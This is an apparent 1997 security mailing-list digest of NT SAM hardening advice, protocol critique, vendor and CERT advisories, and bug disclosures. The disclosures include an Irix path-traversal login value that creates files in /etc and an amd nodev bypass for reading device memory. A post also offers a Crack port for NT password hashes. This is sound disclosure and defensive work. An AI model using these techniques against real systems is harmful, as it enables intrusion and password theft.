So if you have a Backup Domain Controller in Toronto, and your Primary Domain Controller is in Lindsay, you will need to collect the event logs from both locations and review them to determine if your passwords have been violated. Either of these machines could be attacked and pose an equal risk, but only the machine which is attacked will record the security audit event. There are a variety of programs available for NT which can do event monitoring, collection, and alert notification. If you are seriously interested in such a tool, contact me privately and I'll give you a list of currently available products. Unfortunately none of them are inexpensive, but their costs pale in comparison to the cost of trying to do this event work in a large scale environment manually. RECOMMENDATION #1 - How to secure the %systemroot%\repair\sam._ file By default, the SAM._ file has the following permissions; Administrators: Full Control Everyone: Read SYSTEM: Full Control Power Users: Change 1. From within Explorer, highlight the SAM._ file, right click, choose properties, security, permissions. Remove all privilege from this file. 2. From a DOS prompt, execute the following; cacls %systemroot%\repair\sam._ /D Everyone This will deny the group Everyone permission to the file, ensuring that no other permission (i.e. inherited permissions from a share) can override the file permission. 2. Whenever you need to update your ERD, first execute the following from a DOS prompt; cacls %systemroot%\repair\sam._ /T /G Administrators:C This will grant Administrators change permission to update it during the ERD update. 3. Once the ERD has been updated, execute the following from a DOS prompt; cacls %systemroot%\repair\sam._ /E /R Administrators This will once again remove the permissions for Administrator RECOMMENDATION #2 - How to enable auditing on password registry keys 1. First you have to make sure auditing is enabled. Start User Manager, Policies, Audit, and click "Audit These Events". 2. By default, Windows NT does not identify any users or groups to audit on any objects within the system. Auditing can add performance overhead to your system depending on the available resources, so care should be taken in determining what and whom to audit. For a full description of auditing in Windows NT, I recommend the Microsoft Press book "Windows NT 3.5 - Guidelines for Security, Audit, and Control", ISBN 1-55615-814-9. Despite its title it is still the most comprehensive coverage of auditing that I have read. For the sake of this example, we will simply check every Success and Failure checkbox. 3. Close the dialog. 4. Now for a little known trick. While logged on as Administrator, ensure that the Schedule service is set to start up as the System account. Once set, start the Schedule service. 5. Check the time, and then open a DOS prompt. At the DOS prompt, type in the following; at 22:48 /interactive "regedt32.exe" where 22:48 gets replaced with the current time plus 1 minute (or 2 or whatever amount of time you think it will take you to type in the command). 6. At the designated time, regedt32.exe will fire up and appear on your desktop. This incarnation of regedt32.exe will be running in the security context of the user SYSTEM. As such, you will be able to see the entire registry, every key within the SAM or Security trees. BE VERY CAREFUL HERE. 7. All we want to do is enable auditing on the designated keys, nothing else. To this end, we highlight the HKEY_LOCAL_MACHINE windows within regedt32. Next highlight the SAM tree. Choose the Security menu item, then Auditing. 8. Click on the Add button and choose Show Users. 9. I'm going to recommend that you add the SYSTEM user, the group Domain Admins, and the user Administrator. You want to cover any account which has the right to; - "Take ownership of files or other objects" - "Back up files and directories" - "Manage auditing and security log" - "Restore files and directories" - "Add workstations to domain" - "Replace a process level token" 10. Click the Audit Permission on Existing Subkeys 11. Next, click in the Success and Failure checkboxes for the following entries; - Query Value - Set Value - Write DAC - Read Control 12. Choose OK, and then Yes. 13. Repeat the process for the Security tree. 14. Close regedt32.exe and stop the Schedule service. I'd recommend that you not leave this service configured to start up as System, but instead change it to run as some other user with less privilege. You will now have applied auditing to the entire SAM ensuring you'll be notified via the Event Logger of any failed or successful access to your sensitive information by the only accounts which have the ability to access such information. The issue of what to do when/if you discover event notifications is beyond the scope of this document. Part of a good security policy is an appropriate audit policy which would dictate how the event logs are reviewed, how the information is verified, and what actions should be taken for each possible event. Refer to the book I've recommended above for information on how to establish such a policy, or contact a consultant capable of defining and implementing such a policy within your organization (not me, my plate's full thanks). Contributions to this document have come from Scott Field and Paul Leach of Microsoft, as well as input from Jeremy Allison and Les Landau. All are gratefully acknowledged for their efforts. This document has been provide to the members of the NTBugTraq mailing list (http://ntbugtraq.rc.on.ca/) as a service. Permission to redistribute this information for your internal use is granted by the author. Publication in public form beyond the NTBugtraq mailing list is strictly prohibited. Copyright (c) 1997 by Russ Cooper, all rights reserved. Cheers, Russ R.C. Consulting, Inc. - NT/Internet Security owner of the NTBugTraq mailing list: Send SUBSCRIBE NTBUGTRAQ Yourname to Listserv@rc.on.ca - ---------------------------- Date: Fri, 4 Apr 1997 13:46:52 -0500 From: *Hobbit* To: best-of-security@suburbia.net Subject: BoS: auth-draft feedback Message-Id: <199704051024.UAA21191@suburbia.net> This is pretty much specifically aimed at Paul Leach, but is being posted here for general comment and review. Please CC me directly on any replies, because I'm not on the CIFS list at the moment and the archive server for it is a pain in the ass. For all I know "paulle" could be a fabricated name that goes on internet-drafts and mail authored by a group inside MS, but regardless, this is in a sort of second-person style where "you" is the appropriate entity. So, hiya. You probably don't know me, but you've likely read my little [!] rant about CIFS and SMB by now. Perhaps we'll actually meet someday. I ran across a reference to the new CIFS-auth stuff, pulled down draft 4, and tried to go through it reasonably carefully. My head hurts now, but I came up with some comments that I hope you'll find constructive. First, some syntactical administrivia. You may have to search all the documents for these, since by now I'm not sure which is where. Someone else may have already caught all these, but whatever.. substr(S, A, B) denote a byte string of length N obtained by taking N bytes of S ... You probably meant substr(S, A, N) ? Message authentication may only be requested when the "NTML 0.12" NTLM, not NTML? Is authentication supposed to work under all transport types? It looks like you're jamming the MAC into the "reserved" 12 bytes of the SMB header. From familiarity with the protocol I can make the following assumptions, but they should be made clearer in the document. * The MAC covers just the SMB payload, excluding the length integer sent by the TCP transport layer * The MAC covers the entire SMB including parameters and data buffers, not just the SMB header [I assume this is what "message" means] So, what does all this imply for UDP protocol, where some of those 12 bytes aren't just padding? If I'm reading this right, the UCHAR SecuritySignature[8]; overwrites ULONG Unused; // Not used USHORT Sid; // Session ID USHORT SequenceNumber; // Sequence number in the header, which would probably completely screw up UDP transport. The whole new union as you have it is also NOT 12 bytes long, unless I'm missing something. I am therefore confused, since I'm the kind of guy who likes staring at packet dumps. The definition of the swab() operation has me completely befuddled, especially where it is used in generating LANMAN hashes: S16X = Ex(swab(P14),N8) If this really refers to the generation of 8 key bytes from 7 password bytes, the current implementation's method of shifting and ORing strikes me as more of a "sprinkling" operation than a "swab" operation. [str_to_key() in the Samba code, for reference...] There is clearly no bit *reversing* going on anywhere in the process, so I don't see how swab() enters the real-life picture at all. The spec should probably be updated to reflect this. Second in the broader topics, I understand the desire to change the base protocol as little as possible, but it strikes me [and several other readers] that several things are still just plain wrong and if you're going to fix it, please fix it right. On the positive side, it is absolutely great that both server and client will finally be able to *enforce* use of the more secure protocols. It is also nice that some of the designs are going up for public review, and I would dearly hope that this trend continues and broadens to cover other MS subsystems. You are well aware that many of us are curious about PPTP, domain logons, RPC, etc... You have already heard the negative side from many people and covering many different points, but here's another take on it anyway. In a nutshell, the industry at large DISAGREES with your assertion that Ks = MD4(P(U)) and has done so for decades. This, in fact, is the long-term shared secret, and should be treated as such. A SESSION key *by definition* is a different animal, and I think we all understand that. When you were enscribing Since the key is formed from both the session key (which is per-user and long-lived) and the response (which is per-session), large quantities of data are not hashed using a long-lived key, which might subject it to attack. didn't it look just a wee bit funny to you? Your Km includes the 24-byte response that passed in the CLEAR at setup time, therefore reducing the MAC secret to the user's fixed OWF hash again and invalidating the above statement. If I'm reading it right [it was getting late at that point...] the generation of Km from the LANMAN OWF reduces to just *eight* bytes of [fixed] secret. Has the resulting backlash via various mailing lists given any pause for thought? Also, as others have mentioned, the client should introduce its own random component. Draft 3 appears to have *almost* allowed for this, but is then changed: In step 6 of section 1.4, C: MS' = [MD5(Km, SN, Msessr, CC, CS)]<8> should be C: MS' = [MD5(Km, SN, Msessr,)]<8> Aha! CC is "client challenge", isn't it?? But your draft 4 REMOVES it, as well as the bits where ... a "response" is created from the challenge by encrypting it (and possibly a nonce of the client's choice) with a 168 bit [key] ... ... Where S16 and RN are as above. K is either 40 or 44 bytes long, depending on the length of RN. and now provides NO allowance for that idea -- thus you've dangled the hope of involving random material from the client in front of our eyes, and then snatched it away again. PLEASE strongly consider re-introducing this. While reliance on "eventual IPSEC" once again enters the specification under privacy considerations, let me emphasize that since client and server already share a secret key, there is NO reason to not derive a true session key from the exchange and encrypt the entire SMB stream. Especially in the largely continued absence of deployed IPSEC! Client random material helps here, too. Hell, you have *24 bytes* of response to play with, giving you plenty of room for both user authentication and key exchange -- how many bytes does one really need to authenticate a single session, anyway? Just eight, if your MAC spec is taken as a model, leaving another 16 where the client could insert any other [encrypted??] information. The server can still pass all this gook verbatim to the KS and still get back the user's OWF as in the current protocol, and then use it to decrypt elements of the client's response. Speaking of the key server, which I assume is the PDC, 4. The server send the user's name, the challenge, and the response to a key server (KS) over a secure (private, authenticated) channel. Do tell. I'll bet *that* isn't "available from Microsoft upon request" -- see above about publishing protocols. A tiny, but obligatory, bash: Microsoft could certainly afford to contract ANY of the really hot crypto people out there to review their protocols. Why don't they? Why must we all keep limping along with these tiny, incremental security "fixes" that reduce real industry progress to a crawl? I'm sure that Kaiser Wilhelm and his golfing buddies don't give a rat's ass, but the rest of us do since all this affects OUR careers as well. But the goal here isn't to be abrasive, it's to help out. Hope it does... _H* - ---------------------------- Date: Mon, 7 Apr 1997 10:41:57 -0400 From: ajr@claret.psychology.mcmaster.ca (Alan J Rosenthal) To: best-of-security@suburbia.net Subject: BoS: /etc/default/login LOCKOUT= creates arbitrary files Message-Id: <199704071441.KAA09372@claret.psychology.mcmaster.ca> [this is a retransmission, originally sent from flaps@dgp.toronto.edu, but I think that for some reason e-mail from there to you is not getting through.] Several modern unixes provide configuration options for security and logging in a file called /etc/default/login. Irix, and I assume some others but perhaps it's an Irix invention, includes a variable "LOCKOUT" which causes an account with a specified number of incorrect login attempts in a row to be locked (one successful login resets the count). This seems like a really good idea, especially if you set the variable high enough that no one would ever be locked out through mistakes whereas any automated password guessing program (which ran over the net by telnetting in) would be stopped. Since one successful login clears the record, people are not able to accumulate the requisite number of failures over an extended period of time so as to be suddenly surprised one day. It should be good, if not for the following serious security flaw, at least in Irix, checked in both 5.3 and 6.2. Login maintains the LOCKOUT-related data in the directory /var/adm/badlogin, which it creates when first needed. Each logname gets a one byte file; that byte is the number of failed login attempts. Some time after turning it on, I looked again at /var/adm/badlogin and was astonished to find quite a lot of stuff in there. It seems that whatever you type to "login:" gets counted as a logname for LOCKOUT purposes. So this directory contained misspellings, and garbage, and line noise, AND passwords... But that's not all. Since it doesn't check the logname, you can type pathnames. Try this: IRIX (loser.net) login: ../../../etc/something Password: UX:login: ERROR: Login incorrect You've now created an /etc/something. This works. I can't always overwrite existing files; I'm not sure why because sometimes I can. But it doesn't truncate the file, it just increments the first byte. So the exploit is not obvious. Those of you who see how to exploit this, please keep it to yourself until people have some time to remove the LOCKOUT feature setting from their /etc/default/logins on irix, and on whatever other unixes share this lockout feature and also share the misplaced logging. So everybody, please disable the LOCKOUT parameter in /etc/default/logins on irixes by setting it to zero or commenting it out (that's how it ships), and on whatever other unix platforms have it and have this security problem. It's easily tested by telnetting as in the above example and then checking for the existence of /etc/something. For the vendor(s), the fix is obvious: Only valid lognames should be logged to /var/adm/badlogin, because that's all the information that's needed anyway. The purpose of this logging is to lock accounts from repeated bad login attempts. There's no such thing as locking a non-account. Failed logins are already logged in syslog. So it's a question of moving the logging inside an 'if' where it should have been for many reasons, including simply the growing amount of garbage in my /var/adm/badlogin until I turned LOCKOUT off this morning. ajr - ------------------------------ End of best-of-security-d Digest V97 Issue #13 ********************************************** - ---------------------------- Date: Mon, 7 Apr 1997 19:36:00 +0200 (MET DST) From: FreeBSD Security Officer To: best-of-security@suburbia.net Subject: BoS: FreeBSD Security Advisory: FreeBSD-SA-97:03.sysinstall Message-Id: <199704071736.TAA23949@gvr.win.tue.nl> -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-97:03 Security Advisory FreeBSD, Inc. Topic: sysinstall bug Category: core Module: sysinstall Announced: 1997-04-07 Affects: FreeBSD 2.1, FreeBSD 2.1.5, FreeBSD 2.1.6 and FreeBSD 2.1.7 FreeBSD 2.2 and FreeBSD 2.2.1. Corrected: all versions as of 1997-04-01. This includes the installation floppies for FreeBSD 2.2.1 found on: ftp://ftp.FreeBSD.org/pub/FreeBSD/2.2.1-RELEASE/floppies/newer/ Also the CDROM of FreeBSD 2.2.1 has this problem corrected. Source: FreeBSD FreeBSD only: yes Patches: ============================================================================= I. Background Sysinstall is used both for fresh installations of FreeBSD as well as post installation updates, like installing packages from CDROM or ftp sites. II. Problem Description One of the port installation options in sysinstall is to install an anonymous ftp setup on the system. In such a setup, an extra user needs to be created on the system, with username 'ftp'. This user is created with the shell equal to '/bin/date' and an empty password. III. Impact Under some circumstances, this will allow unauthorized access of system resources. IV. Solution(s) Change the entry of the ftp user such that is has an invalid password and an invalid shell. This can be done by becoming the superuser, and use the vipw command. Go to the line that starts with ftp:: and change ftp:: to ftp:*: Also change, on the same line, the shell from /bin/date to /nonexistent. If you have not yet used sysinstall to create an anonymous ftp setup, but are planning to, please apply one of the following patches: Patch for FreeBSD 2.1.5, 2.1.6, 2.2 and 2.2.1: --- anonFTP.c 1996/04/28 03:26:42 1.14 +++ anonFTP.c 1997/04/07 17:20:16 @@ -195,7 +195,7 @@ return (DITEM_SUCCESS); /* succeeds if already exists */ } - sprintf(pwline, "%s::%s:%d::0:0:%s:%s:/bin/date\n", FTP_NAME, tconf.uid, gid, tconf.comment, tconf.homedir); + sprintf(pwline, "%s:*:%s:%d::0:0:%s:%s:/nonexistent\n", FTP_NAME, tconf.uid, gid, tconf.comment, tconf.homedir); fptr = fopen(_PATH_MASTERPASSWD,"a"); if (! fptr) { Patch for FreeBSD 2.1: --- anonFTP.c 1995/11/12 07:27:55 1.6 +++ anonFTP.c 1997/04/03 19:29:21 @@ -201,7 +201,7 @@ return (RET_SUCCESS); /* succeeds if already exists */ } - sprintf(pwline, "%s::%s:%d::0:0:%s:%s:/bin/date\n", FTP_NAME, tconf.uid, gid, tconf.comment, tconf.homedir); + sprintf(pwline, "%s:*:%s:%d::0:0:%s:%s:/nonexistent\n", FTP_NAME, tconf.uid, gid, tconf.comment, tconf.homedir); fptr = fopen(_PATH_MASTERPASSWD,"a"); if (! fptr) { ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org PGP Key: ftp://freebsd.org/pub/CERT/public_key.asc Security notifications: security-notifications@freebsd.org Security public discussion: security@freebsd.org Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM0kvaFUuHi5z0oilAQHzVgP/TwmyRgBAF1Hs/jSihpAzFTRfHXdX/8+r 7mO7OHtM8vBTX1SPaYOr+DdSI2PkcSU4Y8O2OsdR3O4asV52LT5d/qWqJVQbN8bM majL9ufeH3WotZHEJAo6nHf0/Cw+Aml2MytnaBiOHhvtiiY9aAEiYQve5TEwVbhE 92/GUaLo3uY= =VjRL -----END PGP SIGNATURE----- - ---------------------------- Date: Mon, 7 Apr 1997 14:47:43 -0400 From: CERT Advisory To: best-of-security@suburbia.net Subject: BoS: CERT Advisory CA-97.09 - Vulnerability in IMAP and POP Message-Id: <199704071847.OAA05155@coal.cert.org> -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT* Advisory CA-97.09 Original issue date: April 7, 1997 Last revised: -- Topic: Vulnerability in IMAP and POP - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a vulnerability in some versions of the Internet Message Access Protocol (IMAP) and Post Office Protocol (POP) implementations (imapd, ipop2d, and ipop3d). Information about this vulnerability has been publicly distributed. By exploiting this vulnerability, remote users can obtain unauthorized root access. The CERT/CC team recommends installing a patch if one is available or upgrading to IMAP4rev1. Until you can do so, we recommend disabling the IMAP and POP services at your site. We will update this advisory as we receive additional information. Please check our advisory files regularly for updates that relate to your site. - ----------------------------------------------------------------------------- I. Description The current version of Internet Message Access Protocol (IMAP) supports both online and offline operation, permitting manipulation of remote message folders. It provides access to multiple mailboxes (possibly on multiple servers), and supports nested mailboxes as well as resynchronization with the server. The current version also provides a user with the ability to create, delete, and rename mailboxes. Additional details concerning the functionality of IMAP can be found in RFC 2060 (the IMAP4rev1 specification) available from http://ds.internic.net/rfc/rfc2060.txt The Post Office Protocol (POP) was designed to support offline mail processing. That is, the client connects to the server to download mail that the server is holding for the client. The mail is deleted from the server and is handled offline (locally) on the client machine. In both protocols, the server must run with root privileges so it can access mail folders and undertake some file manipulation on behalf of the user logging in. After login, these privileges are discarded. However, a vulnerability exists in the way the login transaction is handled, and this can be exploited to gain privileged access on the server. By preparing carefully crafted text to a system running a vulnerable version of these servers, remote users may be able to cause a buffer overflow and execute arbitrary instructions with root privileges. Information about this vulnerability has been widely distributed. II. Impact Remote users can obtain root access on systems running a vulnerable IMAP or POP server. They do not need access to an account on the system to do this. III. Solution Install a patch from your vendor (see Section A) or upgrade to the latest version of IMAP (Section B). If your POP server is based on the University of Washington IMAP server code, you should also upgrade to the latest version of IMAP. Until you can take one of these actions, you should disable services (Section C). In all cases, we urge you to take the additional precaution described in Section D. A. Obtain and install a patch from your vendor Below is a list of vendors who have provided information about this vulnerability. Details are in Appendix A of this advisory; we will update the appendix as we receive more information. If your vendor's name is not on this list, please contact your vendor directly. Berkeley Software Design, Inc. (BSDI) Cray Research Linux - Red Hat Sun Microsystems, Inc. University of Washington B. Upgrade to the latest version of IMAP An alternative to installing vendor patches is upgrading to IMAP4rev1, which is available from ftp://ftp.cac.washington.edu/mail/imap.tar.Z MD5 (imap.tar.Z) = fb94453e8d2ada303e2db8d83d54bfb6 C. Disable services Until you can take one of the above actions, temporarily disable the POP and IMAP services. On many systems, you will need to edit the /etc/inetd.conf file. However, you should check your vendor's documentation because systems vary in file location and the exact changes required (for example, sending the inetd process a HUP signal or killing and restarting the daemon). If you are not able to temporarily disable the POP and IMAP services, then you should at least limit access to the vulnerable services to machines in your local network. This can be done by installing the tcp_wrappers described in Section D, not only for logging but also for access control. Note that even with access control via tcp_wrappers, you are still vulnerable to attacks from hosts that are allowed to connect to the vulnerable POP or IMAP service. D. Additional precaution Because IMAP or POP is launched out of inetd.conf, tcp_wrappers can be installed to log connections which can then be examined for suspicious activity. You may want to consider filtering connections at the firewall to discard unwanted/unauthorized connections. The tcp_wrappers tool is available in ftp://info.cert.org/pub/tools/tcp_wrappers/tcp_wrappers_7.5.tar.gz MD5 (tcp_wrappers_7.5.tar.gz) = 8c7a17a12d9be746e0488f7f6bfa4abb Note that this precaution does not address the vulnerability described in this advisory, but it is a good security practice in general. ........................................................................... Appendix A - Vendor Information Below is a list of the vendors who have provided information for this advisory. We will update this appendix as we receive additional information. If you do not see your vendor's name, the CERT/CC did not hear from that vendor. Please contact the vendor directly. Berkeley Software Design, Inc. (BSDI) ===================================== We're working on patches for both BSD/OS 2.1 and BSD/OS 3.0 for imap (which we include as part of pine). Cray Research ============= Not vulnerable. Linux Systems ============= Red Hat ------- The IMAP servers included with all versions of Red Hat Linux have a buffer overrun which allow *remote* users to gain root access on systems which run them. A fix for Red Hat 4.1 is now available (details on it at the end of this note). Users of Red Hat 4.0 should apply the Red Hat 4.1 fix. Users of previous releases of Red Hat Linux are strongly encouraged to upgrade or simply not run imap. You can remove imap from any machine running with Red Hat Linux 2.0 or later by running the command "rpm -e imap", rendering them immune to this problem. All of the new packages are PGP signed with Red Hat's PGP key, and may be obtained from ftp.redhat.com:/updates/4.1. If you have direct Internet access, you may upgrade these packages on your system with the following commands: Intel: rpm -Uvh ftp://ftp.redhat.com/updates/4.1/i386/imap-4.1.BETA-3.i386.rpm MD5 (imap-4.1.BETA-3.i386.rpm) = 8ac64fff475ee43d409fc9776a6637a6 Alpha: rpm -Uvh ftp://ftp.redhat.com/updates/4.1/alpha/imap-4.1.BETA-3.alpha.rpm MD5 (imap-4.1.BETA-3.alpha.rpm) = fd42ac24d7c4367ee51fd00e631cae5b SPARC: rpm -Uvh ftp://ftp.redhat.com/updates/4.1/sparc/imap-4.1.BETA-3.sparc.rpm MD5 (imap-4.1.BETA-3.sparc.rpm) = 751598aae3d179284b8ea4d7a9b78868 Sun Microsystems, Inc. ====================== We are investigating the problem. University of Washington ======================== This vulnerability has been detected in the University of Washington c-client library used in the UW IMAP and POP servers. This vulnerability affects all versions of imapd prior to v10.165, all versions of ipop2d prior to 2.3(32), and all versions of ipop3d prior to 3.3(27). It is recommended that all sites using these servers upgrade to the latest versions, available in the UW IMAP toolkit: ftp://ftp.cac.washington.edu/mail/imap.tar.Z MD5 (imap.tar.Z) = fb94453e8d2ada303e2db8d83d54bfb6 This is a source distribution which includes imapd, ipop2d, ipop3d. and the c-client library. The IMAP server in this distribution conforms with RFC2060 (the IMAP4rev1 specification). Sites which are not yet prepared to upgrade from IMAP2bis to IMAP4 service may obtain a corrected IMAP2bis server as part of the latest (3.96) UW Pine distribution, available at: ftp://ftp.cac.washington.edu/pine/pine.tar.Z MD5 (pine.tar.Z) = 37138f0d1ec3175cf1ffe6c062c9abbf - ----------------------------------------------------------------------------- The CERT Coordination Center thanks the University of Washington's Computing and Communications staff for information relating to this advisory. - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see http://www.first.org/team-info) CERT/CC Contact Information - --------------------------- Email cert@cert.org Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send email to cert-advisory-request@cert.org In the subject line, type SUBSCRIBE your-email-address - --------------------------------------------------------------------------- Copyright 1997 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. * Registered in the U.S. Patent and Trademark Office. - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-97.09.imap_pop http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM0kvp3VP+x0t4w7BAQHiDwQAzvj0AH/xujQrqu43J18BSbkuccdHg5gn iNqAGoWG0rg6nUAutwJJenpvcf3ErzzIfHpvv+gwX7N6dyHma0KZlmDq1LxUlNp5 b+rfOklPR7dT8/aIYeBwz8IuwF9kQMBYmK9KQk1w5iJTHFzfHdJGdRIj0XAyCjUU kooGrZuPKQg= =kxPN -----END PGP SIGNATURE----- - ---------------------------- Date: Tue, 8 Apr 1997 11:20:45 -0500 From: Aleph One To: best-of-security@suburbia.net Subject: BoS: [linux-security] amd 920824upl102 ignores the nodev option Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII amd from the amd-920824upl102-6.i386.rpm file distributed with RedHat Linux 4.1 does not honor the nodev option for NFS filesystems and probably other mount types, allowing any user access to the device files in /dev on a system, provided that they have root access to another linux box on the network. In addition, the default amd.conf from RH 4.1 maps /net/* to NFS mounting, which makes the bug in amd an easily accessible security hole. The Exploit: A friend of mine who has an account on my machine found a major security hole in amd when he decided to play a prank on me involving /dev/dsp at odd hours, but found I had denied access to /dev/dsp and /dev/audio. He assumed that I had forgotten to put the options nosuid and nodev in the amd mapping for NFS (the default RedHat 4.1 mapping, which *does* have opts=nosuid,nodev), so he created a char device on his machine with major number 14 and minor 3, permissions 666, exported the directory it was in via NFS, and logged into my machine. He used the /net/* amd mapping to mount the directory, and then used the char device in the NFS-mounted filesystem to play sounds, although /proc/mounts and /etc/mtab displayed it as mounted nodev. This exploit works for block and char devices. It could be used to do more malicious acts than merely play sounds, such as scan /dev/mem for passwords, change file permissions or the contents of /etc/shadow with a raw disk editor, and sundry and various other bad things. This bug may affect any other distributions that include amd, but both the exploit and the bug have only been tested on RedHat 4.1. The Fix: A one-character typo in the linux-specific header file for amd prevents it from actually passing the nodev option to the kernel. --- amd-upl102/config/os-linux.h.bad Mon Apr 7 16:41:51 1997 +++ amd-upl102/config/os-linux.h Mon Apr 7 16:42:19 1997 @@ -252,7 +252,7 @@ #define M_RDONLY 1 /* mount read-only */ #define M_NOSUID 2 /* ignore suid and sgid bits */ -#define M_NONDEV 4 /* disallow access to device special files */ +#define M_NODEV 4 /* disallow access to device special files */ #define M_NOEXEC 8 /* disallow program execution */ #define M_SYNC 16 /* writes are synced at once */ #define M_REMOUNT 32 /* alter flags of a mounted FS */ That's it. Evidently M_NODEV was defined to something else elsewhere, otherwise amd shouldn't have compiled. Brad Keryan keryan@andrew.cmu.edu http://fatale.res.cmu.edu/ - ---------------------------- Date: Tue, 8 Apr 1997 20:46:27 -0400 From: Russ To: best-of-security@suburbia.net Subject: BoS: Alert: PWAudit now available Message-Id: <199704090406.OAA03916@suburbia.net> Jeremy Allison has create an extremely useful utility called PWAudit. PWAudit will programmatically place auditing on the keys that PWDump accesses to enable security event monitoring of those keys by the Administrator. This means that should some attempt to be made to alter the permissions on those keys (i.e. enable read access to Administrator), an event log entry will be generated. The code, as it stands, could use a bit of additional programming and Jeremy would love to see someone, anyone, augment it's functionality. Some additional enhancements could be made in what users it indicates should be audited, whether WRITE_DAC auditing is sufficient or if it should be stronger, and maybe something to ensure it could only be run locally by making it check for the Interactive SID for example. For those of you with a few spare programming cycles, your contributions would be greatly appreciated. The source code is now available via email at PWAudit@rc.on.ca. Don't bother to put anything in your messages as this account is simply sending the source out to any message it receives. I'll offer to relay any source suggestions to Jeremy so we don't flood the list with tons of talk of how to change it programmatically, but discussion about what else it could or should do is encouraged (just keep the technical validity of your suggestions high please so it doesn't degrade into an NT wish list discussion). We won't bother with an upgrade daily or anything like that, but new releases can be planned depending on the contributors. If enough people indicate they are interested in contributing and discussing this, I can set up a separate list for it for the short-term so those discussions can take place without bothering everyone else. Please understand that Jeremy has other work to do, and has done this program to offer a starting point. Its up to you if you want to turn it into something more or not. Cheers, Russ R.C. Consulting, Inc. - NT/Internet Security owner of the NTBugTraq mailing list: Send SUBSCRIBE NTBUGTRAQ Yourname to Listserv@rc.on.ca - ---------------------------- Date: Wed, 9 Apr 1997 22:07:25 +0000 From: Bob Tinsley To: best-of-security@suburbia.net Subject: BoS: Alert: Crack 5.0 for NT Message-Id: <199704100527.PAA04585@suburbia.net> Working from (the recently-announced) NTcrack, I have patched Alec Muffett's Crack 5.0 to work on NT passwords. http://www.sun.rhbnc.ac.uk/~phac107/c50a-nt-0.10.tgz ... contains a short README, the patch itself, source code for crypt_nt (a la Unix's crypt(3)), some script/code to force Crack's rules to upper case, and a script to convert from pwdump's output to Crack's own internal format. Also included are pwdump and NTcrack (on which this work is based.) To use this software, you will need a shell account on a Unix box, and Crack 5.0 (http://www.users.dircon.co.uk/~crypto/c50a.tgz and many archives.) On my Red Hat Linux 4.1 box, the only configuration needed is for libdes, and the optimisation flags in the Crack script itself. Enjoy! WARNING: This program is under-tested, as I only have access to one NT machine with just a few accounts. Although the code is heavily based on that of others, the bugs are mine... -- Bob - ---------------------------- Date: Wed, 9 Apr 1997 16:04:56 -0600 From: David Sacerdote To: best-of-security@suburbia.net Subject: BoS: qualcomm POP server Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII -----BEGIN PGP SIGNED MESSAGE----- Since CERT took up the information in the Secure Networks advisory imap.advisory.04.02.97, as part of CA 97.09, they neglected to repeat the section which explicitly mentions that the Qualcomm Popper, and other POP servers not derived from the University of Washington POP server are not vulnerable. The consequences have ranged from queries via email to administrators of large networks completely disabling POP, even though they are not running vulnerable POP servers. I remind administrators that although virtually all IMAP servers are affected, almost no POP servers are. Remarkably few sites run ipop2d and ipop3d, even in comparison to the number of sites running the University of Washington IMAP server. None of the Qualcomm, University of California at Berkeley, or University of California at Davis POP servers are vulnerable, and those three seem to be by far the most widely deployed POP servers. Administrators are urged NOT to panic, and blindly disable POP service for their users, but to issue the command: telnet mail.server.machine 110 and look at the version string they see. There is no reason whatsoever to disable POP service unless they see some mention of the University of Washington, as in: +OK testing.secnet.com POP3 3.3(20) w/IMAP2 client (Comments to MRC@CAC.Washington.EDU) at Wed, 9 Apr 1997 15:20:15 -0x00 (MDT) The full text of the Secure Networks advisory on imapd and ipop3d, published on April 2, 1997, can be found at ftp://ftp.secnet.com/pub/advisories I urge administrators who run POP or IMAP servers who have not already read this advisory to do so. I would of course, much appreciate it if CERT were to undertake a policy of issuing a credit to the initial publisher of a piece of information somewhere in their advisory. David Sacerdote -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM0vYVf93ojDw1UhtAQFx8wQAlq2c0sh7tBgu+xliidicBWnunxoEP+vd pbZVfUGUYrKWt9Gv2OXseSQlTjixDLkhBsbHAHzqCqjuS4tfp9ebaxmPUORWV3NZ IxzcXaRKS3L3HbW5Jxd5tPgAtJoZunn8tN+7A5lDB3iGFCQcl6AHJZfR2MO2DiTO 2J6E7BJpKqk= =vfXZ -----END PGP SIGNATURE----- - ---------------------------- Date: Thu, 10 Apr 1997 22:23:46 -0500 From: Aleph One To: best-of-security@suburbia.net Subject: BoS: Norton Utilities 2.0 Vulnerability Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII CUPERTINO, Calif. (April 8, 1997 5:13 p.m. EDT) -- Symantec Corp. is readying a fix for a security flaw in its popular Norton Utilities software. The bug can leave personal computer users vulnerable to outside attack when users of Norton Utilities 2.0 for Windows 95 get on the World Wide Web through Microsoft Corp.'s Internet Explorer. The problem was discovered last week by Symantec rival McAfee Associates, which reported it to the Windows Sources newsletter, which ran its own tests. Windows Sources informed Symantec on Monday. 